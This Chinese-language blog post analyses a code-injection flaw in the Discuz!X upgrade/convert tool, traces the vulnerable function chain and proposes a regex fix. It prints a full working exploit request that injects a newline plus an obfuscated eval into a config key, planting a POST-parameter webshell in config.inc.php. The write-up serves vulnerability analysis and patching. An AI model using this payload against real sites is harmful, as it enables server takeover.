Discuz!X升级/转换程序GETSHELL漏洞分析

首先感谢尖刀的兄弟分享此漏洞,感谢好基友@园长MM。

漏洞原文链接http://p2j.cn/?p=357,看到只有利用没有漏洞分析,这里简单说一下漏洞触发的流程,大牛勿喷。

0x01 漏洞分析

漏洞的根源在代码注释中出现换行,导致代码执行,流程如下:

0x0101 首先,从 index.php第30行跟入。

0x0102 do_config_inc.php的第37行,跟入这个save_config_file()函数。

0x0103 gobal.func.php第624行,跟入这个getvars()函数。

0x0104 继续跟入buildarray()这个函数,

0x0105 漏洞出现在598行,这个$newline的问题。

这里因为$key可控,所以$newline可控,当$newline出现\r或\n时,导致BBB可以作为php代码执行。如图所示。

0x02 漏洞利用

可以构造如下请求:

 

<span style="color: #000000;">POST /DZ2/convert/ HTTP/1.1</span>
<span style="color: #000000;">Host: 192.168.52.129</span>
<span style="color: #000000;">Proxy-Connection: keep-alive</span>
<span style="color: #000000;">Content-Length: 925</span>
<span style="color: #000000;">Cache-Control: max-age=0</span>
<span style="color: #000000;">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span style="color: #000000;">Origin: null</span>
<span style="color: #000000;">User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36</span>
<span style="color: #000000;">Content-Type: application/x-www-form-urlencoded</span>
<span style="color: #000000;">Accept-Encoding: gzip,deflate,sdch</span>
<span style="color: #000000;">Accept-Language: zh-CN,zh;q=0.8</span>

<span style="color: #000000;">a=config&amp;source=d7.2_x2.0&amp;submit=yes&amp;newconfig%5Btarget%5D%5Bdbhost%5D=localhost&amp;newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost&amp;newconfig%5Bsource%5D%5Bdbuser%5D=root&amp;newconfig%5Bsource%5D%5Bdbpw%5D=&amp;newconfig%5Bsource%5D%5Bdbname%5D=discuz&amp;newconfig%5Bsource%5D%5Btablepre%5D=cdb_&amp;newconfig%5Bsource%5D%5Bdbcharset%5D=&amp;newconfig%5Bsource%5D%5Bpconnect%5D=1&amp;newconfig%5Btarget%5D%5Bdbhost%5D=localhost&amp;newconfig%5Btarget%5D%5Bdbuser%5D=root&amp;newconfig%5Btarget%5D%5Bdbpw%5D=&amp;newconfig%5Btarget%5D%5Bdbname%5D=discuzx&amp;newconfig%5Btarget%5D%5Btablepre%5D=pre_&amp;newconfig%5Btarget%5D%5Bdbcharset%5D=&amp;newconfig%5Btarget%5D%5Bpconnect%5D=1&amp;submit=%B1%A3%B4%E6%B7%FE%CE%F1%C6%F7%C9%E8%D6%C3</span>

发送这段请求直接getshell,恶意代码写入/convert/data/config.inc.php文件当中,如图所示。

0x03 关于修复

需要在global.func.php文件的buildarray函数中过滤掉$key中的非字母、数字及下划线字符,即添加代码如下:

 

<span style="color: #000000;">$key = preg_replace("/[^\w]/","", $key);</span>

 

如图所示。

标签: 无
返回文章列表 文章二维码
本页链接的二维码
打赏二维码